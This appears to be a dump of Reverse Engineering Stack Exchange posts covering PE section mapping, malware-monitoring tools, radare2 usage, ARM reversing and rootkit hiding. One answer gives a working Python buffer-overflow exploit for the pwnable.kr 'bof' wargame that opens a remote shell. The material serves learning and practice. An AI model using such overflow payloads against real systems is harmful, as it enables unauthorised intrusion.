  <row Id="11759" PostTypeId="2" ParentId="11758" CreationDate="2016-01-14T05:17:35.800" Score="2" Body="&lt;p&gt;Dang I solved it, I thought you had to add the previous section size to create new section address but it doesn't work like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still got a little bug where &lt;code&gt;VirtualSize&lt;/code&gt; is smaller then OllyDbg's Memory Map Sizes for that section, but it seems &lt;code&gt;SizeOfRawData&lt;/code&gt; is more accurate sometimes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I guess I could fix this by taking the previous StartAddress for each section and subtracting one from it to get the End Size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I could mark this solved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dim AddressOfPE As Long&#xA;Dim RawFileOffsetToCheck As Long&#xA;Dim StartAddress as Long&#xA;Dim EndAddresss as Long   &#xA;&#xA;AddressOfPE = NTHEADER.OptionalHeader.ImageBase&#xA;&#xA;For u = 0 To UBound(SECTIONSHEADER)&#xA;    StartAddress = AddressOfPE + SECTIONSHEADER(u).VirtualAddress&#xA;    EndAddresss = AddressOfPE + RoundUp((SECTIONSHEADER(u).VirtualAddress + SECTIONSHEADER(u).VirtualSize), NtHeader.OptionalHeader.SectionAlignment) - 1&#xA;&#xA;    If offset &amp;gt;= StartAddress And offset &amp;lt;= EndAddresss Then&#xA;        RawFileOffsetToCheck = offset - StartAddress  + SECTIONSHEADER(u).PointerToRawData&#xA;    End If&#xA;    'Hunt for strings&#xA;    'TODO: Use the STUFF here.. pretty easy since we get the file offset here [RawFileOffsetToCheck]&#xA;Next u&#xA;&#xA;&#xA;Public Function RoundUp(V, M) As Long&#xA;    If (V Mod M) = 0 Then&#xA;        RoundUp = V&#xA;    Else&#xA;        RoundUp = ((V \ M) + 1) * M&#xA;    End If&#xA;End Function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debug outputs exactly like ollydbg view&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text  401000 23ACFFF&#xA;.rdata 23AD000 2C02FFF&#xA;.data  2C03000 5907FFF&#xA;.rsrc  5908000 5918FFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2016-01-15T01:50:49.220" LastActivityDate="2016-01-15T01:50:49.220" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11761" PostTypeId="1" AcceptedAnswerId="11762" CreationDate="2016-01-14T13:29:25.423" Score="0" ViewCount="3261" Body="&lt;p&gt;Say for example I'm searching for a malware that writes data, or sends data about my OS to external sources, or writes hidden files or registry entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a particular tool that tells me EVERYTHING an installer/executable does? This is regarding the Windows platform.&lt;/p&gt;&#xA;" OwnerUserId="14708" LastActivityDate="2016-01-15T10:35:51.467" Title="How to analyze deeply every single step of a windows executable/installer" Tags="|executable|" AnswerCount="2" CommentCount="0" ClosedDate="2016-01-18T10:04:43.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="11762" PostTypeId="2" ParentId="11761" CreationDate="2016-01-14T13:48:16.247" Score="4" Body="&lt;p&gt;It sounds like the best tool for you might be &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt;. It can log all file-system writes, network events, and registry activity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fcr0K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fcr0K.png&quot; alt=&quot;Process Monitor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to examine the details of the network traffic, &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wireshark&lt;/a&gt; will let you capture and see all network communications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jcvmp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jcvmp.jpg&quot; alt=&quot;Wireshark&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two tools should satisfy your ask for &quot;a particular tool that tells me EVERYTHING an installer/executable does?&quot;. If, on the other hand, you need to see everything that an installer/executable &lt;em&gt;could do&lt;/em&gt;, then you'd need to use a disassembler like &lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt; to examine all possible code paths, but note that this is much more time-consuming and challenging than using the other two tools described above.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-14T13:48:16.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11764" PostTypeId="2" ParentId="11745" CreationDate="2016-01-14T20:40:05.400" Score="3" Body="&lt;p&gt;Each of the eight fields in the record has a one-byte header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the header, high nybble &lt;code&gt;8&lt;/code&gt; means unsigned and high nybble &lt;code&gt;9&lt;/code&gt; means signed (or possibly the other way around, can't be sure); low nybble is then the number of bytes needed to encode the number (not counting the header byte), decremented by one.&lt;br&gt;&#xA;If the high nybble of the header is &lt;code&gt;0&lt;/code&gt;, that's a special code for very small unsigneds (more precisely: very small numbers of same type as &lt;code&gt;8&lt;/code&gt;) and in that case the low nybble is the entire number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the tricky thing that's been making this hard is that (for types &lt;code&gt;8&lt;/code&gt; and &lt;code&gt;9&lt;/code&gt;) the rest of the number is encoded using a method that signals the encoding length on its own, wastefully unaware that the header has already told us how many bytes will be needed for the encoding. My guess is that the header byte was &quot;invented&quot; for this application after this inner encoding was already decided upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For positive integers, that inner encoding is very similar to VLQ (thanks for dropping the names, I wasn't aware of them): output lowest 7 bits of the number as a single byte, and set the MSB of that byte to 1 if there are more bytes to follow, or to 0 if not; continue with the next 7 bits, etc.&lt;br&gt;&#xA;The difference from VLQ is that the bit sequence &lt;code&gt;7F&lt;/code&gt; is treated as non-terminating, which may be an Obi-Wan bug in the encoder, or some kind of a genuine design decision that I don't really understand. (It can't be about signalling that the number shouldn't be sign-extended as negative, because then the same would apply for &lt;code&gt;40&lt;/code&gt;-&lt;code&gt;7e&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to see the 4th record from the end - it should end with the value 0x1fe, and I expect it would be encoded as &lt;code&gt;81 FE 03&lt;/code&gt; (noting that 0x1ff is encoded as &lt;code&gt;81 7f 03&lt;/code&gt;, implying that this encoding never uses the value &lt;code&gt;FF&lt;/code&gt; anywhere.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't have examples of negative numbers in your sample, so we can't tell how they would be encoded.&lt;/p&gt;&#xA;" OwnerUserId="14712" LastEditorUserId="14712" LastEditDate="2016-01-14T21:02:27.063" LastActivityDate="2016-01-14T21:02:27.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11765" PostTypeId="2" ParentId="9426" CreationDate="2016-01-15T01:09:57.733" Score="11" Body="&lt;p&gt;It is encrypted with AES so you will need the keys from &lt;code&gt;windows.plist&lt;/code&gt; to decode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format is (all stored in big-endian):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset  value&#xA;0-3     magic ('NSCR' for PersistentUIRecord)&#xA;4-7     version (either '1000' or '0006')&#xA;8-11    NSWindowID (used to lookup 128-bit AES key stored in windows.plist)&#xA;12-15   record length (including from 0 to xxx)&#xA;16-xxx  encrypted binary plist data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There may be multiple records stored in a file consecutively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar approach AppKit framework is using to decipher the &lt;code&gt;data.data&lt;/code&gt; file. The most relevant code base to look at is the &lt;code&gt;+[NSPersistentUIRecord parseOneRecordFromReadBlock:withDecryptionKeys:]&lt;/code&gt; block which parses each record in the &lt;code&gt;data.data&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="12021" LastEditDate="2016-02-16T12:54:31.640" LastActivityDate="2016-02-16T12:54:31.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11766" PostTypeId="1" AcceptedAnswerId="11769" CreationDate="2016-01-15T08:31:13.700" Score="4" ViewCount="1685" Body="&lt;p&gt;Please bear with me as I explain this situation.&lt;/p&gt;&#xA;&lt;p&gt;Maybe 10 days ago I took up the challenge of reverse engineering an Android app. Learning from scratch, I installed ADB, Apktool, Android Studio, Notepad++ with Smali highlighting etc. My approach has been to write test programs in Android studio that mirror the workings of the APK, and then decompile with Apktool to help me do Smali modifications. I've been successful in modifying the application to log all HTTP requests, headers, cookies, and post data to the android log.&lt;/p&gt;&#xA;&lt;p&gt;My next challenge was to figure out how an important algorithm in the app works. This is what stumped me. I spent the last 3 or 4 days spending the majority of my day analysing Smali code making almost no progress. Apparently the algorithm is done (at least in part if not mostly) in a native library with the .so extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;One of the extremely frustrating things about Reverse engineering is how small the community is&lt;/strong&gt;. There are very few resources on the web (At least compared to other things). I've probably bitten off more than I can chew. I always attempt difficult projects that are above my skill level. For this task, I'm guessing I need to become very familiar with ARM and I'll have to use IDA Pro to analyse the .so file? To explain my knowledge level:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have very little experience using Ollydbg in Windows (I have slight&#xA;understanding of registers and CMP, JMP, ADD commands, etc.)&lt;/li&gt;&#xA;&lt;li&gt;I have no&#xA;experience using IDA Pro. I'm quite new to reverse engineering, but I've had success with simple Smali modding because it's simple in&#xA;some situations.&lt;/li&gt;&#xA;&lt;li&gt;I know basic Java (To be clear, I'm not a complete beginner, variables, for loops, arrays, classes (to an extent) are second nature to me)&lt;/li&gt;&#xA;&lt;li&gt;I know basic C++ if not more than&#xA;basic&lt;/li&gt;&#xA;&lt;li&gt;I've done a lot of VB.NET programming.&lt;/li&gt;&#xA;&lt;li&gt;I feel quite knowledgeable in Python.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So I'm experienced with programming, but not really reverse engineering. How in over my head am I attempting to understand this complex native library (When I already know practically nothing about native libraries/JNI)? Could the professionals here please give me some specific examples of how I can get to the level where I am knowledgeable enough to complete my goal? I don't want to just give up because this is a difficult challenge. Please give me suggestions of how I can progress enough to complete my goal. I assume I'll need to learn IDA Pro and how ARM works.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14661" LastEditorUserId="37536" LastEditDate="2021-07-26T09:15:43.503" LastActivityDate="2021-07-26T09:15:43.503" Title="How Do I get proficient at Reverse engineering?" Tags="|ida|android|apk|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="11767" PostTypeId="2" ParentId="11761" CreationDate="2016-01-15T10:35:51.467" Score="0" Body="&lt;p&gt;You may wish to use a tool called RegShot for monitoring changes in the registry. You would take a snapshot of the registry, and then run the suspicious program, any changes will be highlighted by RegShot in the next snapshot you take - &lt;a href=&quot;http://sourceforge.net/projects/regshot/&quot; rel=&quot;nofollow&quot; title=&quot;RegShot - Sourceforge&quot;&gt;RegShot - Sourceforge&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3587" LastActivityDate="2016-01-15T10:35:51.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11768" PostTypeId="1" AcceptedAnswerId="11772" CreationDate="2016-01-15T13:57:56.113" Score="1" ViewCount="7954" Body="&lt;p&gt;when I am using the radare2 debugger, it happens that I have sometimes to examine variables and memory. Consider the following instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048498      8b4508         mov eax, dword [ebp+arg2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming that I know that what in eax pointer to array of characters with null termination at the end (I mean string). So, &lt;code&gt;ebp+arg2&lt;/code&gt; is pointer to that string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I type &lt;code&gt;ps @eax&lt;/code&gt; I get what I expect, a string. But, I can get the same result by accessing &lt;code&gt;[ebp+arg_2]&lt;/code&gt;. I tried many things including &lt;code&gt;ps&lt;/code&gt; and &lt;code&gt;ps/&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="8437" LastEditorUserId="53" LastEditDate="2016-01-16T15:23:38.603" LastActivityDate="2017-04-08T22:19:52.540" Title="How to print from pointers in radare2 in debug session" Tags="|debugging|debuggers|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11769" PostTypeId="2" ParentId="11766" CreationDate="2016-01-15T14:11:36.607" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I spent the last 3 or 4 days&#xA;  spending the majority of my day analysing Smali code making almost no&#xA;  progress.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know it feels like you've made &quot;no progress&quot;, but I'd encourage you to not look at it that way. You spent 3 or 4 days figuring out which approaches &lt;em&gt;don't work&lt;/em&gt;, which is in itself progress. And you also built up 3 or 4 days of reverse engineering experience, regardless of how fruitful the immediate outcome was.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Apparently the algorithm is done (at least in part if not&#xA;  mostly) in a native library with the .so extension.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;How in over my head am I attempting to understand this complex native library?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Given that you've determined that the Java code calls out to the .so library, it shouldn't be too difficult to find the native function in the .so library since the native function would be exported-by-name for JNI compatibility. This means that you don't in fact need to &quot;understand this complex native library&quot; in its entirety, but rather just the one native function in question (in addition to the functions that that function calls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the native code is not heavily obfuscated and if you have &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot;&gt;Hex-Rays for ARM&lt;/a&gt;, it should be relatively &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/compare_arm0.shtml&quot;&gt;easy to understand&lt;/a&gt; the target function. If, on the other hand, you don't have Hex-Rays, then you can use the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_demo.shtml&quot;&gt;evaluation version of IDA Pro&lt;/a&gt; to disassemble the target function. You'd need to manually analyze the ARM instructions to determine what the function is doing. Although that can be tedious, ARM instructions and the architecture in general are &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.set.architecture/index.html&quot;&gt;very well-documented&lt;/a&gt;. Approach it as you would when learning any new programming language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start analyzing the function from the very first instruction, and keep high-level notes on what each instruction is doing in the context of the function. Keep track of what values get stored in what registers and how memory is used. On first-pass, your goal is to determine &lt;em&gt;what&lt;/em&gt; the function is doing (based on the instructions). Once you've extrapolated &lt;em&gt;what&lt;/em&gt; the function is doing, your second-pass should focus on trying to understand &lt;em&gt;why&lt;/em&gt; the function is doing what it's doing. After some time, things should begin to &quot;click&quot; in your mind, you'll get that &quot;aha!&quot; moment, and you'll understand how the target algorithm works.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-15T14:11:36.607" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11770" PostTypeId="1" AcceptedAnswerId="11773" CreationDate="2016-01-15T19:15:09.107" Score="3" ViewCount="813" Body="&lt;p&gt;I can inspect &lt;code&gt;esp&lt;/code&gt; in &lt;code&gt;radar2&lt;/code&gt; using &lt;code&gt;dr esp&lt;/code&gt;. In order to inspect &lt;code&gt;0x15(%esp)&lt;/code&gt; I do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    dr esp&#xA;0xff966c60&#xA;    ? 0xff966c60 + 0x15&#xA;0xff966c75&#xA;    px 4 @ 0xff966c75&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this? &lt;code&gt;px 4 @ esp + 0x15&lt;/code&gt; is not what I need.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2016-01-16T13:42:02.763" Title="Examining memory in radare2 using registers" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11772" PostTypeId="2" ParentId="11768" CreationDate="2016-01-16T10:34:24.620" Score="6" Body="&lt;p&gt;Check out the &lt;code&gt;afa&lt;/code&gt; command (&lt;code&gt;a&lt;/code&gt; for analysis, &lt;code&gt;f&lt;/code&gt; for function, and the latest &lt;code&gt;a&lt;/code&gt; for arguments), you should find the value of the args.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use &lt;code&gt;pxr&lt;/code&gt; (&lt;code&gt;p&lt;/code&gt; as in &lt;code&gt;print&lt;/code&gt;, &lt;code&gt;x&lt;/code&gt; and in hexdump, &lt;code&gt;r&lt;/code&gt; as in reference): &lt;code&gt;pxr 1 @ ebp+0x8&lt;/code&gt;, &lt;code&gt;1&lt;/code&gt; to get the first reference.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastEditorUserId="1485" LastEditDate="2016-01-16T13:48:04.350" LastActivityDate="2016-01-16T13:48:04.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11773" PostTypeId="2" ParentId="11770" CreationDate="2016-01-16T13:42:02.763" Score="2" Body="&lt;p&gt;You could chain your steps in a single command with something like &lt;code&gt;px 4 @ `dr esp` + 4&lt;/code&gt;, or simply use &lt;code&gt;px 8 @ esp&lt;/code&gt; and look at the second word.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-01-16T13:42:02.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11774" PostTypeId="2" ParentId="11494" CreationDate="2016-01-16T15:39:07.160" Score="4" Body="&lt;p&gt;Coastermelt project: open source firmware for creatively repurposing BD-R drives from Micah Scott aka @scanlime. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It contains 2 very interesting videos: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://vimeo.com/110257380&quot; rel=&quot;nofollow&quot;&gt;https://vimeo.com/110257380&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://vimeo.com/111417458&quot; rel=&quot;nofollow&quot;&gt;https://vimeo.com/111417458&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Github code: &lt;a href=&quot;https://github.com/scanlime/coastermelt/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/scanlime/coastermelt/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2016-01-16T15:39:07.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11775" PostTypeId="1" AcceptedAnswerId="11776" CreationDate="2016-01-16T19:48:48.450" Score="5" ViewCount="3488" Body="&lt;p&gt;I'm debugging a file with radare2 and when I come to &lt;code&gt;scanf&lt;/code&gt; function I want to forward input from a .txt file. In gdb I would do this by typing &lt;code&gt;r &amp;lt; text.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like that possible in radare2? I've tried &lt;code&gt;dc &amp;lt; text.txt&lt;/code&gt; but it seems that it's not working.&lt;/p&gt;&#xA;" OwnerUserId="8562" LastEditorUserId="1485" LastEditDate="2016-01-16T20:53:17.280" LastActivityDate="2019-10-10T20:15:07.540" Title="Radare2 forwarding input to scanf from a file" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11776" PostTypeId="2" ParentId="11775" CreationDate="2016-01-16T20:47:16.250" Score="11" Body="&lt;p&gt;&lt;strong&gt;Always ensure you use radare2 git version.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that purpose you can use &lt;code&gt;rarun2&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For stdio check what is the tty using &lt;code&gt;tty&lt;/code&gt; for stdin just add what file you want to add, then in your rarun2 config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdio=/dev/pts/1&#xA;stdin=./pattern.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just &lt;code&gt;r2 -d /bin/ls -e dbg.profile=bla.rr2&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2016-01-16T20:47:16.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11777" PostTypeId="1" AcceptedAnswerId="19100" CreationDate="2016-01-16T22:16:30.247" Score="6" ViewCount="17435" Body="&lt;p&gt;I was solving bof challenge on &lt;a href=&quot;http://pwnable.kr/play.php&quot; rel=&quot;noreferrer&quot;&gt;http://pwnable.kr/play.php&lt;/a&gt;&#xA;it is required to smash the stack of the following code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;void func(int key){&#xA;    char overflowme[32];&#xA;    printf(&quot;overflow me : &quot;);&#xA;    gets(overflowme);   // smash me!&#xA;    if(key != 0xcafebabe){&#xA;        system(&quot;/bin/sh&quot;);&#xA;    }&#xA;    else{&#xA;        printf(&quot;Nah..\n&quot;);&#xA;    }&#xA;}&#xA;int main(int argc, char* argv[]){&#xA;    func(0xdeadbeef);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I was given compiler version of that I was supposed to exploit&#xA;the task was straightforward but when I overflow the array &lt;code&gt;overflowme&lt;/code&gt; the control I never transfered to &lt;code&gt;/bin/sh&lt;/code&gt; instead I get something like&#xA;&lt;code&gt;*** stack smashing detected ***: ./bof terminated&lt;/code&gt;&#xA;attempt1:&#xA;try filling the array with zeros except for the &lt;code&gt;key&lt;/code&gt; but failed&#xA;attempt2:&#xA;get memory dump for where the array is stored and overflow the array with that dump but still failed&lt;/p&gt;&#xA;" OwnerUserId="8437" LastActivityDate="2018-10-07T08:46:28.093" Title="How to effectively bypass GCC stack smashing detection" Tags="|gdb|c|buffer-overflow|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11778" PostTypeId="2" ParentId="11777" CreationDate="2016-01-16T23:10:29.153" Score="8" Body="&lt;p&gt;You don't need to bypass gcc's stack smashing detection. If you overwrite &lt;code&gt;key&lt;/code&gt; correctly, you get an interactive shell before the stack check is performed at the end of &lt;code&gt;func()&lt;/code&gt;. Here's the proof in the form of a Python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;s.connect((&quot;pwnable.kr&quot;, 9000))&#xA;s.send(&quot;A&quot;*52 + &quot;\xBE\xBA\xFE\xCA&quot; + &quot;\x0A&quot;)&#xA;print &quot;You now have an interactive shell :)&quot;&#xA;while True:&#xA;    s.send(raw_input() + &quot;\x0A&quot;)&#xA;    print s.recv(1024)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-16T23:10:29.153" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11779" PostTypeId="1" CreationDate="2016-01-17T00:23:49.510" Score="1" ViewCount="887" Body="&lt;p&gt;I am working with an ARM (android apk: libgame.so) file that has protected functions (sub_xxxx, etc). The strings are supposed to have cross references with their function, but most of them reference something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; unk_134AB30     DCB 0xD0 ; -            ; DATA XREF: .data:0134AB58o&#xA;.data:0134AB31                 DCB    0&#xA;.data:0134AB32                 DCB    0&#xA;.data:0134AB33                 DCB    0&#xA;.data:0134AB34                 DCD aMlinewidth         ; &quot;mLineWidth&quot;&#xA;.data:0134AB38                 DCD aF_0                ; &quot;f&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are these structures? If so, how do I get the actual value or function of &quot;mLineWidth&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get to here, I looked at the cross-references to the string, and aMlinewidth references it as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; aLinewidth      DCB &quot;lineWidth&quot;,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then looked at the cross-references to, &quot;aLinewidth&quot; and got where I am now. Another example would be going from: &quot;mCueBallRenderLine&quot; string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aMcueballrender DCB &quot;mCueBallRenderLine&quot;,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the cross-references of aMcueballrender lead to here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                 DCD aC_0                ; &quot;c&quot;&#xA;.data:01625F88 unk_1625F88     DCB 0x32 ; 2            ; DATA XREF: .data:01626004o&#xA;.data:01625F89                 DCB    1&#xA;.data:01625F8A                 DCB    0&#xA;.data:01625F8B                 DCB    0&#xA;.data:01625F8C   &#xA;&#xA;DCD aMcueballrender     ; &quot;mCueBallRenderLine&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;, Which is similar to the other example in terms of it's structure. All of the unknown references (unk_xxxx) seen above all lead to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DCD unk_151AB20&#xA;.data:0151C2DC                 DCD unk_151B7C0&#xA;.data:0151C2E0                 DCD unk_151BED0&#xA;.data:0151C2E4                 DCD unk_151A5A0&#xA;.data:0151C2E8                 DCD unk_151BDE0&#xA;.data:0151C2EC                 DCD unk_151B6C0&#xA;.data:0151C2F0                 DCD unk_151AAF0&#xA;.data:0151C2F4                 DCD unk_151BE80&#xA;.data:0151C2F8                 DCD unk_151BF70&#xA;.data:0151C2FC                 DCD unk_151B180&#xA;.data:0151C300                 DCD unk_151BF20&#xA;.data:0151C304                 DCD unk_151ABA0&#xA;.data:0151C308                 DCD unk_151B2E0&#xA;.data:0151C30C                 DCD unk_151B270&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to find the actual function/value of the string, but I can't get to anywhere where it lists sub_xxxxx.&lt;/p&gt;&#xA;" OwnerUserId="14722" LastEditorUserId="14722" LastEditDate="2016-01-17T13:32:16.220" LastActivityDate="2016-01-17T14:20:26.090" Title="IDA Strings to Functions (ARM, Protected Functions)" Tags="|ida|android|arm|functions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11781" PostTypeId="1" CreationDate="2016-01-17T07:09:26.937" Score="-2" ViewCount="1047" Body="&lt;p&gt;How rootkits hide services on kernel mode?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12454" LastActivityDate="2016-01-17T11:35:10.047" Title="How rootkits hide services on kernel mode?" Tags="|malware|kernel-mode|driver|" AnswerCount="1" CommentCount="0" ClosedDate="2016-01-19T16:24:27.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="11782" PostTypeId="2" ParentId="11781" CreationDate="2016-01-17T11:29:59.193" Score="2" Body="&lt;p&gt;rootkit in kernel operate at the same security level as the operating system itself.&lt;br&gt;&#xA;A rootkit can modify data structures in the Windows kernel using a method known as direct &lt;a href=&quot;https://en.wikipedia.org/wiki/Direct_kernel_object_manipulation&quot; rel=&quot;nofollow&quot;&gt;kernel object manipulation (DKOM)&lt;/a&gt;&lt;br&gt;&#xA;This method can be used to hide processes. A kernel mode rootkit can also hook the &lt;a href=&quot;https://en.wikipedia.org/wiki/System_Service_Descriptor_Table&quot; rel=&quot;nofollow&quot;&gt;System Service Descriptor Table (SSDT)&lt;/a&gt;, or modify the gates between user mode and kernel mode, in order to cloak itself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is various way:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using Hook Bypass Method through Mapped Image to Uncover Hidden  &lt;/li&gt;&#xA;&lt;li&gt;Services   Enumerating Child Processes of Services.exe to Detect  &lt;/li&gt;&#xA;&lt;li&gt;Hidden Services   Hidden Services Detection by Enumerating Processes&#xA;with 'NtControlPipe'&lt;/li&gt;&#xA;&lt;li&gt;Hidden Service Detection by Enumerating Services Registry Key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1512" LastEditorUserId="1512" LastEditDate="2016-01-17T11:35:10.047" LastActivityDate="2016-01-17T11:35:10.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
